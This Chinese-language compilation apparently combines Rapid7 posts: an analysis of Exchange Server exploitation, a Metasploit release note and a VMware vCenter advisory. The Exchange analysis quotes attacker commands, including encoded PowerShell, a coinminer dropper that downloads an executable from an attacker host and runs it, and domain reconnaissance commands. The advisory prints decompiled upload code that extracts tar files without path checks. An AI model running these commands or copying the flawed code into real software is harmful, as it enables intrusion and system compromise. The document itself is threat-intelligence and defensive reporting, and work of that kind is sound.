cmd /c powershell -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAdAB5AHAAZQAgACIAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAHgAYwBoAGEAbgBnAGUAIABTAGUAcgB2AGUAcgBcAFYAMQA1AFwARgByAG8AbgB0AEUAbgBkAFwASAB0AHQAcABQAHIAbwB4AHkAXABvAHcAYQBcAGEAdQB0AGgAXABvAHUAdABsAG8AbwBrAGUAbgAuAGEAcwBwAHgAIgAiACIAcmd /c powershell -enc dAB5AHAAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQB4AGMAaABhAG4AZwBlACAAUwBlAHIAdgBlAHIAXABWADEANQBcAEYAcgBvAG4AdABFAG4AZABcAEgAdAB0AHAAUAByAG8AeAB5AFwAbwB3AGEAXABhAHUAdABoAFwAbwB1AHQAbABvAG8AawBlAG4ALgBhAHMAcAB4ACIA

Base64解码字符串:

type "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\outlooken.aspx

InsightIDR攻击者行为分析检测这个攻击者的活动:

• 可疑进程- Outlook Web访问产生的进程

Coinminer dropper攻击

发现一些攻击者使用PowerShell来检索和执行coinminers。

cmd.exe /c powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\windows\temp\dsf.exe & C:\windows\temp\dsf.exe RS9+cn_0 & del C:\windows\temp\dsf.exepowershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\windows\temp\dsf.exeC:\windows\temp\dsf.exe RS9+cn_0

多次使用以下位置检索的文件名（稍有不同的文件名）：

cmd.exe /c powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/c103w-at.zip -OutFile C:\windows\temp\dsf.exe & C:\windows\temp\dsf.exe RS9+cn_0 & del C:\windows\temp\dsf.exepowershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/c103w-at.zipC:\windows\temp\dsf.exe RS9+cn_0

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

简单侦察攻击

    发现一些攻击者执行了非常简单的侦察命令，以收集有关Active Directory中的主机，进程，用户和系统的更多信息：

net group /domainnet group "Domain Computers" /donet group "Domain Users"  /donet group IntranetAdmins /donet user /domainsysteminfotasklist

另一个仅执行简单侦察类型命令的示例：

whoamisysteminfosysteminfowmic product get nameWmic product get name

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook WebAccess产生的进程

结论

虽然我们知道这些漏洞在外部已经可以被利用，但这似乎仅是几个动机和技能不同的攻击者所为。Rapid7甚至观察到在两周的时间内，多个不同的角色（HAFNIUM和coinminer drops）在对同一受害者进行攻击利用。一些攻击者利用此漏洞从受害者系统中收集了密码/哈希。这使他们能够从多个受害者收集数据，只要收集到的凭证保持不变，这些数据就允许他们访问Active Directory服务。

由于攻击者意识到自己的行为会被发现，并且漏洞将很快被修补，所以在这之前相关的凭证信息的传播可能已经达到一定的规模。即使系统已成功修补，这也有可能使这些攻击者继续访问这些帐户。具有HAFNIUM的特征的文件在后来出现了被他人所利用情况，这可能表明同一个漏洞已经被共享或者泄露。在撰写本文时，Rapid7尚无确切证据，并承认此陈述具有推测性。

通过继续分析攻击者在攻击后的行为以开发出检测程序，可以大大增加被通知漏洞的可能性。这与用于获得对受害环境的初始访问权限的方法无关。此外，与大多数其他折衷指标在其他类型的公共报告中共享的情况相比，这些检测的寿命更长，并且可以更及时地提供。

观察到攻击者使用的CVE：

观察到的所有攻击者使用的IOCs：

参考链接

• https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

• https://aka.ms/ExchangeVulns

• https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/

• https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

• https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

• https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf

阅读原文

跳转微信打开

Metasploit最新资讯更新！添加了新功能！

新功能，新功能！

现如今随着漏洞数量的增加，Metasploit的模块也随之增长至3.5k+的规模。但随着模块的增多，我们如何快速的找到所需要的模块？亦或是你最常使用的模块！为此kalba-security(https://github.com/kalba-security/metasploit-framework)为Metasploit添加了新的命令—favorite。此新命令允许用户将他们最常用的模块保存在可查看的列表中，需要使用时即可快速调用！同时也感谢space-r7(https://github.com/space-r7)帮助解决这个问题！

新模块（3）

• VMware vCenter Server未经验证的OVA文件上传RCE，由wvu、MikhailKlyuchnikov、Viss和mr_me利用CVE-2021-21972漏洞增加的模块，用于验证VMware Center中未经验证的RCE。

  

• HPE Systems Insight Manager AMF反序列化RCE，由Grant Willcox、Harrison Neal和Jang开发，利用漏洞ZDI-20-1449（CVE-2020-7200），针对7.6.x版本的HPE Systems Insight Manager软件。运行HPE SIM软件的用户（通常是本地管理员）可以通过向/simsearch/messagebroker/amfsecure页发送序列化的AMF请求来获得未经验证的代码执行。

  

• Microsoft Windows RRAS 服务 MIBEntryGet溢出，由Equation Group、Shadow Brokers、Víctor Portal和BCOLE组成，该漏洞利用CVE-2017-8461，这是Windows Server 2003上路由和远程访问服务（RRAS）中的远程RCE，被确定为CVE-2017-8461。这允许使用系统用户权限执行任意命令。

  

已修复的Bug

• gwillcox-r7 在项目#14792(https://github.com/rapid7/metasploit-framework/pull/14792)中更新了 11 个针对 Windows 系统的模块，这些模块错误地检查了在某些情况下导致 WOW64 检测中断的环境架构。

• dwelch-r7在项目#14871(https://github.com/rapid7/metasploit-framework/pull/14871)中做了调整以确保BinData库始终可用于模块内。

• dwelch-r7在项目#14874(https://github.com/rapid7/metasploit-framework/pull/14874) 中修复了在外部工具中使用Msf:：RPC:：Client时自动加载的问题。

  
  

如何获取最新版本

与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:

• Pull Requests 6.0.33...6.0.34(https://github.com/rapid7/metasploit-framework )

• Full diff 6.0.33...6.0.34(https://github.com/rapid7/metasploit-framework/compare/6.0.33...6.0.34)

如果您是git用户，那么可以克隆Metasploit Framework repo（https://github.com/rapid7/metasploit-framework）以获取最新版本。

要在不使用git的情况下安装，可以使用只开放源码的Nightly Installers(https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)安装程序或binaryinstallers(https://www.rapid7.com/products/metasploit/download/)安装程序（也包括商业版）。

阅读原文

跳转微信打开

2021年2月23日，VMware发布了一份公告（VMSA-2021-0002），公布了影响VMware ESXi、VMware vCenterServer和VMware Cloud Foundation的三个威胁

• 7.0 U1c 之前的 7.0 版本

• 6.7 U3l 之前的 6.7 版本

• 6.5 U3n 之前的 6.5 版本

• 4.2之前的4.x版本 

• 3.10.1.2 之前的3.x版本

@RequestMapping(      value = {"/uploadova"},      method = {RequestMethod.POST}   )   public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {      logger.info("Entering uploadOvaFile api");      int code = uploadFile.isEmpty() ? 400 : 200;      PrintWriter wr = null;      try {         if (code != 200) {            response.sendError(code, "Arguments Missing");            return;         }         wr = response.getWriter();      } catch (IOException var14) {         var14.printStackTrace();         logger.info("upload Ova Controller Ended With Error");      }      response.setStatus(code);      String returnStatus = "SUCCESS";      if (!uploadFile.isEmpty()) {         try {            logger.info("Downloading OVA file has been started");            logger.info("Size of the file received  : " + uploadFile.getSize());            InputStream inputStream = uploadFile.getInputStream();            File dir = new File("/tmp/unicorn_ova_dir");            if (!dir.exists()) {               dir.mkdirs();            } else {               String[] entries = dir.list();               String[] var9 = entries;               int var10 = entries.length;               for(int var11 = 0; var11 < var10; ++var11) {                  String entry = var9[var11];                  File currentFile = new File(dir.getPath(), entry);                  currentFile.delete();               }               logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");            }            TarArchiveInputStream in = new TarArchiveInputStream(inputStream);            TarArchiveEntry entry = in.getNextTarEntry();            ArrayList result = new ArrayList();            while(entry != null) {               if (entry.isDirectory()) {                  entry = in.getNextTarEntry();               } else {                  File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());                  File parent = curfile.getParentFile();                  if (!parent.exists()) {                     parent.mkdirs();                  }                  OutputStream out = new FileOutputStream(curfile);                  IOUtils.copy(in, out);                  out.close();                  result.add(entry.getName());                  entry = in.getNextTarEntry();               }            }            in.close();            logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");         } catch (Exception var15) {            logger.error("Unable to upload OVA file :" + var15);            returnStatus = "FAILED";         }      }      wr.write(returnStatus);      wr.flush();      wr.close();   }